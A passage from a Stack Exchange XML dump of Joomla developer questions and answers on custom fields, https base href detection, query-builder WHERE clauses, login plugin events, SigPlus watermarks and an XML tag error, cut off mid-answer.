  <row Id="23534" PostTypeId="1" CreationDate="2018-10-03T13:46:55.997" Score="4" ViewCount="1310" Body="&lt;p&gt;I'm trying to get the custom fields value of a category in a blog view.&#xA;I have try the article item method but on the child item (supposed to be the current category item in the loop) : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then in the loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;children[$this-&amp;gt;category-&amp;gt;id] as $id =&amp;gt; $child) : ?&amp;gt;&#xA;&amp;lt;?php foreach($child-&amp;gt;jcfields as $jcfield)&#xA; {&#xA;      $child-&amp;gt;jcFields[$jcfield-&amp;gt;name] = $jcfield;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo &quot;test:&quot;.$child-&amp;gt;jcFields['titre-discipline']-&amp;gt;label; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but i get nothing, no error, nothing. One the category actually get value in. THe custom show correctly in the category item view but not in this blog view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="12928" LastActivityDate="2024-02-26T21:04:40.497" Title="Getting Category's custom fields in a blog view" Tags="|custom-field|category-blog|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23535" PostTypeId="2" ParentId="22283" CreationDate="2018-10-03T14:17:43.410" Score="2" Body="&lt;p&gt;Joomla! doesn't provide this function and it's quite a shame. There is no filter, nor ordering by default. The only way to do that correctly is to use &lt;a href=&quot;http://easylayouts.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://easylayouts.net/&lt;/a&gt; extention. It provides ordering and filtering on menu items AND a great com_content override system. There is some place for improvment, but still it solves a lot of things.&lt;/p&gt;&#xA;" OwnerUserId="12928" LastEditorUserId="12352" LastEditDate="2018-10-04T05:51:49.707" LastActivityDate="2018-10-04T05:51:49.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23536" PostTypeId="2" ParentId="23322" CreationDate="2018-10-03T14:20:25.007" Score="0" Body="&lt;p&gt;Have you look to &lt;a href=&quot;http://easylayouts.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://easylayouts.net/&lt;/a&gt; function ? It offer filtering and ordering. We use it from month and it's quite usefull. I don't have check if it can filter on a &quot;dynamic&quot; value. If this fonction is not here maybe the team could add this.&lt;/p&gt;&#xA;" OwnerUserId="12928" LastEditorUserId="12928" LastEditDate="2018-10-04T05:55:37.623" LastActivityDate="2018-10-04T05:55:37.623" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23537" PostTypeId="1" AcceptedAnswerId="23539" CreationDate="2018-10-03T21:03:40.923" Score="5" ViewCount="219" Body="&lt;p&gt;I have a Joomla site that I am finishing up and now loading onto the server that will host the live site. I'm now getting the following error in the javascript console:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mixed Content: The page at '&lt;a href=&quot;https://mydomain.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mydomain.com&lt;/a&gt;' was loaded over HTTPS, but requested an insecure stylesheet&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A view source reveals  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;base href=&quot;http://mydomain.com&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This href value appears to be set in &lt;strong&gt;/libraries/joomla/document/renderer/html/head.php&lt;/strong&gt;, which calls &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document-&amp;gt;getBase() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get this value. In &lt;strong&gt;/libraries/joomla/document/document.php&lt;/strong&gt;, this value is set with an &lt;code&gt;$options&lt;/code&gt; array passed to the constructor, but I cannot find where these options are set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had thought this value, as well as the constants &lt;code&gt;JPATH_BASE&lt;/code&gt;, &lt;code&gt;JPATH_ROOT&lt;/code&gt;, &lt;code&gt;JPATH_SITE&lt;/code&gt;, etc., would be assigned whichever protocol the site uses. Am I missing a setting somewhere on the back end of the site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla 3.7.2&lt;/p&gt;&#xA;" OwnerUserId="12929" LastEditorUserId="12929" LastEditDate="2018-10-03T21:35:13.257" LastActivityDate="2018-10-28T09:34:08.910" Title="Joomla Site not detecting https protocol" Tags="|joomla-3.x|https|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23539" PostTypeId="2" ParentId="23537" CreationDate="2018-10-04T14:29:25.950" Score="6" Body="&lt;p&gt;So it really is the base href value that is causing the problem. Commenting out the assignment in &lt;code&gt;/libraries/joomla/document/renderer/html/head.php&lt;/code&gt; will do the trick.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Generate base tag (need to happen early)&#xA;/*&#xA;$base = $document-&amp;gt;getBase();&#xA;if (!empty($base))&#xA;{&#xA;    $buffer .= $tab . '&amp;lt;base href=&quot;' . $base . '&quot; /&amp;gt;' . $lnEnd;&#xA;}&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it would be best to actually solve the problem of assigning the correct value. I found a better solution on StackOverflow here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/19733229/joomla-base-href-uses-http-instead-of-https&quot;&gt;https://stackoverflow.com/questions/19733229/joomla-base-href-uses-http-instead-of-https&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The accepted answer to this question tells us, &quot;there servers where &lt;code&gt;$_SERVER['HTTPS']&lt;/code&gt; is obviously not initialized.&quot; So the real solution is to fix the .htaccess file, or as I did, the httpd.conf file by adding the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_env.c&amp;gt;&#xA;   SetEnv HTTPS on&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suppose I could have kept searching before posting my question here, but by posting the answer perhaps I can save someone else the hours I spent yesterday on this problem.&lt;/p&gt;&#xA;" OwnerUserId="12929" LastActivityDate="2018-10-04T14:29:25.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23541" PostTypeId="2" ParentId="20565" CreationDate="2018-10-05T09:41:02.133" Score="0" Body="&lt;p&gt;What Alexandr wrote is correct. Just 2 things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.- No menu id is it necessary&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.- Don't do as me: Please register module &lt;strong&gt;YMODULE&lt;/strong&gt; you created in table &lt;em&gt;extensions (remember to add mod&lt;/em&gt; )&lt;/p&gt;&#xA;" OwnerUserId="11783" LastActivityDate="2018-10-05T09:41:02.133" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23543" PostTypeId="1" AcceptedAnswerId="23544" CreationDate="2018-10-05T20:46:09.353" Score="1" ViewCount="1635" Body="&lt;p&gt;I cannot seem to get this select statement to work with the WHERE conditions. Depending how it loads the data, I either get the first test result or all of the test results and not the user_id-specific result I desire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gone through the documentation over and over and I know this is simple, but I cannot figure out what is going on.  I've separately checked the &lt;code&gt;getUser()&lt;/code&gt; function and it is working fine, the &lt;code&gt;test_id&lt;/code&gt; condition doesn't seem to work.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$user = JFactory::getUser();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query -&amp;gt; SELECT('Test_Percentile');&#xA;$query -&amp;gt; FROM($db-&amp;gt;quoteName('#__calc_results'));&#xA;$query -&amp;gt; WHERE(($db-&amp;gt;quoteName('test_id').'='.'1')AND($db- &#xA;&amp;gt;quoteName('user_id').'='.($user-&amp;gt;id)));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadObject();&#xA;&#xA;echo &quot;&amp;lt;p&amp;gt;&quot; . $result-&amp;gt;Test_Percentile .&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12882" LastEditorUserId="12352" LastEditDate="2018-10-07T15:11:40.037" LastActivityDate="2018-10-07T15:11:40.037" Title="How to write a query with a WHERE clause with two conditions?" Tags="|php|mysql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23544" PostTypeId="2" ParentId="23543" CreationDate="2018-10-05T21:43:55.423" Score="3" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;WHERE($db-&amp;gt;quoteName('test_id').'= 1 AND '.$db-&amp;gt;quoteName('user_id').'='. $user-&amp;gt;id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2018-10-05T21:43:55.423" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23545" PostTypeId="2" ParentId="23543" CreationDate="2018-10-06T04:16:15.633" Score="2" Body="&lt;h2&gt;What's gone wrong?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You have unintentionally formed a valid expression containing two conditionals separated by &lt;code&gt;AND&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;($db-&amp;gt;quoteName('test_id').'='.'1')AND($db-&amp;gt;quoteName('user_id').'='.($user-&amp;gt;id))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is the same as all of the following: (&lt;a href=&quot;https://3v4l.org/rJreN&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(&quot;`test_id`=1&quot;)AND(&quot;`user_id`=$user-&amp;gt;id&quot;)&#xA;&quot;`test_id`=1&quot; &amp;amp;&amp;amp; &quot;`user_id`=$user-&amp;gt;id&quot;&#xA;true &amp;amp;&amp;amp; true&#xA;true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you convert the boolean &lt;code&gt;true&lt;/code&gt; to a string, it becomes &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How to investigate your issue?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can see the generated &lt;code&gt;1&lt;/code&gt; if you go to &lt;strong&gt;System&lt;/strong&gt; &gt; &lt;strong&gt;Global Configuration&lt;/strong&gt;, then under the &lt;strong&gt;System&lt;/strong&gt; tab, in the &lt;strong&gt;Debug Settings&lt;/strong&gt; section, set the &lt;strong&gt;Debug System&lt;/strong&gt; field to &lt;strong&gt;Yes&lt;/strong&gt;.  Then reload your script, at the bottom of your page click on the &lt;strong&gt;Database Queries&lt;/strong&gt; box to reveal all of the queries executed, then scroll down until you find your query.  Here is what you'd see:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SELECT Test_Percentile&#xA;  FROM &lt;code&gt;[prefix]_calc_results&lt;/code&gt;&#xA;  WHERE 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Beyond the generated query not being what you desire, you will also see that the number of returned rows will be all of the rows in your database table -- because &lt;code&gt;WHERE 1&lt;/code&gt; effectively filters out nothing.  You are using &lt;code&gt;$db-&amp;gt;loadObject()&lt;/code&gt; in your php code, so despite all of the rows being delivered in the resultset, just the first row is accessed and displayed.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Some best practices suggestions:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Beyond fixing your query syntax, I'd like to recommend a number of other refinements for you to apply to your future development projects that will help you to keep your code clean, readable, efficient, and easy to debug.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use &quot;chaining&quot; from your first declaration of &lt;code&gt;$query&lt;/code&gt;.  This means using &lt;code&gt;-&amp;gt;&lt;/code&gt; to connect your method calls that all apply to &lt;code&gt;$query&lt;/code&gt; instead of writing out &lt;code&gt;$query&lt;/code&gt; on each line.&lt;/li&gt;&#xA;&lt;li&gt;Use lowercase method calls to mirror what the Joomla documentation displays.&lt;/li&gt;&#xA;&lt;li&gt;Because none of your tables or column names require the use of backtick-wrapping to make the query valid, you can avoid the code bloat and omit these calls. It certainly doesn't hurt your code to make a bunch of &lt;code&gt;quoteName()&lt;/code&gt; and &lt;code&gt;quote()&lt;/code&gt; calls, but your code will be more brief and therefore easier to read without them.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;$query-&amp;gt;dump()&lt;/code&gt; to check that your generated query is exactly what you intend to create.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;loadResult()&lt;/code&gt; when you only want to access a single column from the first row of a resultset.&lt;/li&gt;&#xA;&lt;li&gt;It is often useful to check if there were no rows returned in the resultset.  Checking for a &quot;falsey&quot; result with &lt;code&gt;!&lt;/code&gt; (see my snippet below where I declare and check the result value in the same step) is often a sensible inclusion.&lt;/li&gt;&#xA;&lt;li&gt;Using a &lt;code&gt;try{}catch{}&lt;/code&gt; block is a quick and simple way to debug your code (compared to turning on the global error reporting and having to scroll and scroll to find the query that you're actually trying to debug).  &lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage()&lt;/code&gt; is a great way to package up the diagnostic and error information because it displays it at the top of your page in a bootstrap message box.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;My recommended snippet:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    $db = JFactory::getDbo();&#xA;    $user = JFactory::getUser();&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&quot;Test_Percentile&quot;)&#xA;                -&amp;gt;from(&quot;#__calc_results&quot;)&#xA;                -&amp;gt;where(&quot;test_id = 1 AND user_id = $user-&amp;gt;id&quot;);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage($query-&amp;gt;dump(), 'info');&#xA;    if (!$perc = $db-&amp;gt;loadResult()) {&#xA;        echo &quot;&amp;lt;p&amp;gt;No Rows Found&amp;lt;/p&amp;gt;&quot;;&#xA;    } else {&#xA;        echo &quot;&amp;lt;p&amp;gt;$perc&amp;lt;/p&amp;gt;&quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would be remiss of me to not mention: &lt;strong&gt;You must never display queries or error messages to the public as a matter of good security practices&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Alternative ways to build the WHERE clause:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The truth is, there are several ways to write a valid &lt;code&gt;WHERE&lt;/code&gt; clause that contains two conditions with Joomla's query builder method (beyond the perfect valid single string above).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;where()&lt;/code&gt; x2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&quot;test_id = 1&quot;)&#xA;-&amp;gt;where(&quot;user_id = $user-&amp;gt;id&quot;);&#xA;// WHERE test_id = 1 AND user_id = 75&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;where()&lt;/code&gt; and &lt;code&gt;andWhere()&lt;/code&gt;: (I don't advise the unnecessary parentheses)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&quot;test_id = 1&quot;)&#xA;-&amp;gt;andWhere(&quot;user_id = $user-&amp;gt;id&quot;);&#xA;// WHERE (test_id = 1) AND (user_id = 75)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;where()&lt;/code&gt; with an array of conditions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(array(&quot;test_id = 1&quot;, &quot;user_id = $user-&amp;gt;id&quot;));&#xA;// WHERE test_id = 1 AND user_id = 75&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-10-06T21:30:03.340" LastActivityDate="2018-10-06T21:30:03.340" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23546" PostTypeId="1" CreationDate="2018-10-06T15:51:08.227" Score="1" ViewCount="253" Body="&lt;p&gt;I want my users to get an email when they login for the first time.&#xA;I am thinking to create an array to store userids that have logged in before. When users login, compare their userid with the array, if it is in the array then do nothing, if not then add the id into the array and proceed to generate email.&#xA;The question is, where is the best place to do this comparison?&#xA;I am thinking it should be right after a user logs in and find this &lt;code&gt;onUserAfterLogin&lt;/code&gt; event on &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events/User&lt;/a&gt;. But how do I use it? And should I categorize what I want to do as a plugin? &lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2018-10-06T21:58:40.830" Title="How to use &quot;onUserAfterLogin&quot; Event?" Tags="|plugin|user|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23547" PostTypeId="2" ParentId="23546" CreationDate="2018-10-06T21:58:40.830" Score="1" Body="&lt;p&gt;Yes, writing a plugin and leveraging the &lt;code&gt;onUserAfterLogin&lt;/code&gt; event seems like the best way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how to check for the first visit:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can check the user's &lt;code&gt;lastvisitDate&lt;/code&gt; column for a &lt;code&gt;0000-00-00 00:00:00&lt;/code&gt; value as discussed in this &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=696945&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Forum Thread: First login redirect plugin&lt;/a&gt;.  However, if there was an error in delivering the email, you will need to add a consideration for how you want to be alerted of the failure.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can create a new database table where you keep a record of all successfully emailed users. Then from the plugin, query that table for the user's id, if the row exists you never email again, if the email delivery fails don't add them to the list.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-10-06T21:58:40.830" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23548" PostTypeId="1" AcceptedAnswerId="23549" CreationDate="2018-10-07T12:21:35.693" Score="2" ViewCount="421" Body="&lt;p&gt;I am writing a module that displays a count of the number of records depending on the &lt;code&gt;date_time&lt;/code&gt; column. I am able to get the result that I am looking for when using a static date as below. However, I am unable to get the correct response from the code in the second block.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    $date       = JFactory::getDate();&#xA;    $cur_year   = JHtml::_('date', $date, 'Y');&#xA;    $db         = JFactory::getDbo();&#xA;    $query      = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('COUNT(*)')&#xA;          -&amp;gt;from('#__aa_job_data')&#xA;          -&amp;gt;where(&quot;date_time LIKE '2017%'&quot;);&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $count = $db-&amp;gt;loadResult();&#xA;    return $count;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code below isn't working I can't work out the correct syntax to use for adding &lt;code&gt;$cur_year&lt;/code&gt; &amp;amp; &lt;code&gt;%&lt;/code&gt; while wrapping it in &lt;code&gt;''&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    $date       = JFactory::getDate();&#xA;    $cur_year   = JHtml::_('date', $date, 'Y');&#xA;    $db         = JFactory::getDbo();&#xA;    $query      = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('COUNT(*)')&#xA;          -&amp;gt;from('#__aa_job_data')&#xA;          -&amp;gt;where(&quot;date_time LIKE $cur_year%&quot;);&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $count = $db-&amp;gt;loadResult();&#xA;    return $count;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the correct method to write the WHERE statement?&lt;/p&gt;&#xA;" OwnerUserId="12938" LastEditorUserId="12352" LastEditDate="2018-10-07T13:53:31.523" LastActivityDate="2018-10-07T13:53:31.523" Title="How to count the rows in a database table that have a date in the current year?" Tags="|joomla-3.x|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23549" PostTypeId="2" ParentId="23548" CreationDate="2018-10-07T12:43:05.230" Score="1" Body="&lt;p&gt;You don't need to pass a php variable into your query, just use &lt;a href=&quot;https://www.w3resource.com/mysql/date-and-time-functions/mysql-year-function.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;MYSQL's YEAR() function&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&quot;YEAR(date_time) = YEAR(CURDATE())&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;p.s. You were merely missing the single quotes around your &lt;code&gt;$cur_year%&lt;/code&gt;.  &lt;code&gt;LIKE&lt;/code&gt; is not famous for being efficient anyhow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because your date source is &quot;trusted&quot;, you don't need to go to any great lengths to keep your query safe from injection attacks (you can manually single quote wrap or call &lt;code&gt;q()&lt;/code&gt; or &lt;code&gt;quote()&lt;/code&gt;).  In other situations, when you want to write an untrusted value after &lt;code&gt;LIKE&lt;/code&gt; in a query, read &lt;a href=&quot;https://joomla.stackexchange.com/a/22712/12352&quot;&gt;this post that breaks down what to do&lt;/a&gt; until Joomla4's prepared statements are brought in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your case, both of these would have worked -- but I don't recommend them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&quot;date_time LIKE '$cur_year%'&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&quot;date_time LIKE &quot; . $db-&amp;gt;q(&quot;$cur_year%&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-10-07T13:19:13.983" LastActivityDate="2018-10-07T13:19:13.983" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23550" PostTypeId="1" AcceptedAnswerId="23551" CreationDate="2018-10-07T18:53:34.083" Score="4" ViewCount="176" Body="&lt;p&gt;I have install SigPlus 1.5.0.262 on Joomla! 3.7.5. I am just trying to get the watermark to work. I cannot seem to get it to appear. I &lt;em&gt;think&lt;/em&gt; my issue is just where I am placing my image. According to the &lt;a href=&quot;https://hunyadi.info.hu/sigplus/sigplus-advanced-usage&quot; rel=&quot;noreferrer&quot;&gt;advanced guide&lt;/a&gt;..&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A watermark is a PNG file with transparency channel (i.e. the image has RGBA color scheme) placed either &lt;strong&gt;in the same folder&lt;/strong&gt; where the images to be shown are (specified within the plug-in activation start and end tags), or in the &lt;strong&gt;image base folder&lt;/strong&gt; (specified in the administration back-end).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I interpret the &quot;base folder&quot; as /images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried both of those locations and I still cannot get it to show up. Its simple small png. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the advanced settings for the module I have changed the settings for watermark&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0QKFX.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0QKFX.png&quot; alt=&quot;Advanced watermark settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things beyond above I tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using a bad file name on purpose. Does &lt;strong&gt;not&lt;/strong&gt; trigger an error state that I could find. &lt;/li&gt;&#xA;&lt;li&gt;Nothing in any logs I could find e.g. administrator\logs\error.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1811" LastEditorUserId="1811" LastEditDate="2018-10-08T00:20:46.073" LastActivityDate="2018-10-08T11:51:39.360" Title="How do I get a watermark on a sigplus gallery?" Tags="|joomla-3.x|module|joomla-3.7|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23551" PostTypeId="2" ParentId="23550" CreationDate="2018-10-08T00:32:38.247" Score="4" Body="&lt;p&gt;&lt;sup&gt;I thought I had already done this before I posted but I tried again and got positive results&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after looking at a &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=589500&quot; rel=&quot;nofollow noreferrer&quot;&gt;post about a supposed bug with an earlier version of the plugin&lt;/a&gt; there was a couple of clues as to a solution from the developer&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The module, however, &lt;em&gt;does not have an image base folder&lt;/em&gt;, which means that the only place you could put &lt;em&gt;watermark.png&lt;/em&gt; in the current implementation of the sigplus module is the &lt;em&gt;image gallery folder&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;you should create a subfolder &lt;em&gt;watermark&lt;/em&gt; inside the image gallery folder, and place &lt;em&gt;watermark.png&lt;/em&gt; within that subfolder.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I created a folder called watermark in the root of the gallery folder (identified as &lt;strong&gt;image source&lt;/strong&gt; in the module properties) and placed the watermark.png inside that folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changed the &lt;strong&gt;Advanced Settings&lt;/strong&gt; &gt; &lt;strong&gt;Filename for watermark&lt;/strong&gt; to &quot;watermark/watermark.png&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After changes were saved and associated page refreshed I was able to see the watermark.&lt;/p&gt;&#xA;" OwnerUserId="1811" LastEditorUserId="1811" LastEditDate="2018-10-08T11:51:39.360" LastActivityDate="2018-10-08T11:51:39.360" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23554" PostTypeId="2" ParentId="23526" CreationDate="2018-10-09T05:09:02.613" Score="0" Body="&lt;p&gt;The trouble appears to be in your xml markup.  You have not closed your &lt;code&gt;&amp;lt;mysqldump&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;database&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While running diagnostics, I've revealed this list of errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/B8sZu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B8sZu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, because you are calling &lt;code&gt;setDbo()&lt;/code&gt; you don't even need to include the &lt;code&gt;&amp;lt;database&amp;gt;&lt;/code&gt; tag(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I recommend altering the xml file in the following ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Remove &lt;code&gt;&amp;lt;database name=&quot;&quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;&amp;lt;/mysqldump&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the &quot;horse has already bolted&quot; and you can't / don't want to adjust the .xml file(s), then you can merely append &lt;code&gt;.&quot;\n &amp;lt;/database&amp;gt;\n&amp;lt;/mysqldump&amp;gt;&quot;&lt;/code&gt; to the end of the value returned by 